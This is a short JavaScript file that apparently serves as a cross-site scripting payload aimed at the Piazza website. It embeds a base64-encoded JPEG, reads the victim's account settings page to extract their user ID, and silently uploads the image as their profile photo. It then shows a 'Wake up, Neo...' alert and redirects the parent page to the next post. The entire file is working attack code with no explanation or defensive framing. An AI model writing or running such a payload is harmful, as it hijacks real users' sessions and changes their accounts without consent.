function makeImageBlob() {
        var image64 = "/9j/4AAQSkZJRgABAQEASABIAAD//gATQ3JlYXRlZCB3aXRoIEdJTVD/2wBDABkRExYTEBkWFBYcGxkeJT4pJSIiJUw3Oi0+WlBfXllQV1ZkcJB6ZGqIbFZXfap+iJSZoaKhYXiwva+cu5CeoZr/2wBDARscHCUhJUkpKUmaZ1dnmpqampqampqampqampqampqampqampqampqampqampqampqampqampqampqampqampr/wgARCABAAEADAREAAhEBAxEB/8QAGQAAAwEBAQAAAAAAAAAAAAAAAgQFAwEA/8QAFwEBAQEBAAAAAAAAAAAAAAAAAAECA//aAAwDAQACEAMQAAABmSdrSVkMQPIznCe+nSllQU7F5YWo5jmnvfZWihKNgkmm+fJHp1MEoyz7DhgPHKf066xQl6O0MAS3PC62CaMowKKVjnmvre+cjrbkuwuitmmcYXXUK70AM7DDxj//xAAkEAACAgEEAgEFAAAAAAAAAAABAgARAxITITEEECIUMjNBQv/aAAgBAQABBQIy+Exl59M0Pi8MhQ3wrGvWIwesq6kgvRDEyKIuRSD5OMTeR5/QU1D6wJaEUUUu23eQ3pgmPTpwuqj4tCQIFnY/S/YD8ce2IrJR7y5SIANFQVURXhFQvzmNstaD1AeN0iNmZoI/Q/H/AP/EAB0RAAEDBQEAAAAAAAAAAAAAADABESAAECExQUD/2gAIAQMBAT8BmwFA/g7Z8y6BdgXdf//EABoRAAICAwAAAAAAAAAAAAAAAAEwAEERIFD/2gAIAQIBAT8B3wg8C0FFz//EACAQAAIDAAIBBQAAAAAAAAAAAAABEBEhAiAiEjFRcaH/2gAIAQEABj8Cn3Memws7OFOzS/YT6c0UykcvhC2bodsuk49Vi+4ZR5M8YfEXTGi60qNhlPqj/8QAIBABAAMAAgIDAQEAAAAAAAAAAQARIUFREDFhcaGBwf/aAAgBAQABPyFXXcsV7jWeu48QZ3eKoahqROrJU6lUXgwJvE5qdXB25hg4BlqEnIL9EqKIsf68naD68XJi5EYKSGIXXvtwjQHKvAycAz4nJKwNnSamAAfUUvG22VmX2lQdtyae8PN/EUBlHqvAV6L5+Imx5ig+pp/Ig10zHUIOgpzOW2aHfqUB0XBqFe38g/i+IDxyAV68dl6jHDmf/9oADAMBAAIAAwAAABBnN5yRqqA67keQSPydYbFgTcVK6aTfFQX/xAAcEQADAQADAQEAAAAAAAAAAAAAAREQITFBIDD/2gAIAQMBAT8QSJzchMaGl/CKPoRcutLkxEyCUbv2huNlcMmt+DbFpzRFLnbK6CfI/BaxFD//xAAcEQADAQADAQEAAAAAAAAAAAAAAREQICExMEH/2gAIAQIBAT8QxspSko0vwi7MhMbV4PGXoXuPVrcbxvuH7wQ2xad3hBelUQ8hNY//xAAiEAEAAwACAgICAwAAAAAAAAABABEhMUFRYRBxgZHB0fD/2gAIAQEAAT8Qp2VBWwoKg7fczUPJLGd+o4HA0SiXRp49xAmIkMxhNJ3BKgaTvxr+ZRKKLmJLEhYKFrxAR/YhA8FauVFbuwgPGYS8BOWoVrjneIVQ/wD1zKNWopVv3C6Dz/aAZTuDwfFtfHD8wFaDYh9FS+mo8BVI9QYueXoIoGmzYvdQR2/FZowBPfmawabtFkpWGxXyw0S1qGyAvpgqOAnSdJQUyyAK1ePqAfbqAobKgvJXeo5sv3TixqIPhQXUd+pzCqAVFNKTLltplQE0vZuIOmjZ6c0iB1Cy+4cXhlF1EDkqpTDCBZ18RkqguXioyQsHHEATSzQYQBggUCFNuajmBwCOFlWoHlIN8+4ay90/mFfRXRzP/9k=";
        var chars = atob(image64);
        var charArray = new Array(chars.length);
        for (var i = 0; i < chars.length; i++)
                charArray[i] = chars.charCodeAt(i);
        var byteArray = new Uint8Array(charArray);
        return new Blob([byteArray], { type: "image/jpeg" });
};

function getUid(callback) {
        var request = new XMLHttpRequest();
        request.onload = function () {
                var uploadUrl = this.responseXML.getElementById("uploadForm")
                                .getAttribute("action");
                var uid = uploadUrl.split("uid=")[1];
                return callback(uid);
        };
        request.open("GET", "https://piazza.com/account_settings", true);
        request.responseType = "document";
        request.send();
};
function changeProfilePhoto(uid, photoBlob, callback) {
        var request = new XMLHttpRequest();
        request.onload = callback;
        request.open("POST", "https://piazza.com/upload/upload_photo?uid=" +
                        uid, true);
        var formData = new FormData();
        formData.append("user[photo]", photoBlob);
        request.send(formData);
};

function leave() {
        var parentUrl = (parent.location + "").split("cid=");
        var nextPost = (parseInt(parentUrl[1]) + 1) + "";
        parent.location = parentUrl[0] + "cid=" + nextPost;
};

getUid(function (uid) {
        changeProfilePhoto(uid, makeImageBlob(), function () {
                alert("Wake up, Neo...");
                leave();
        });
});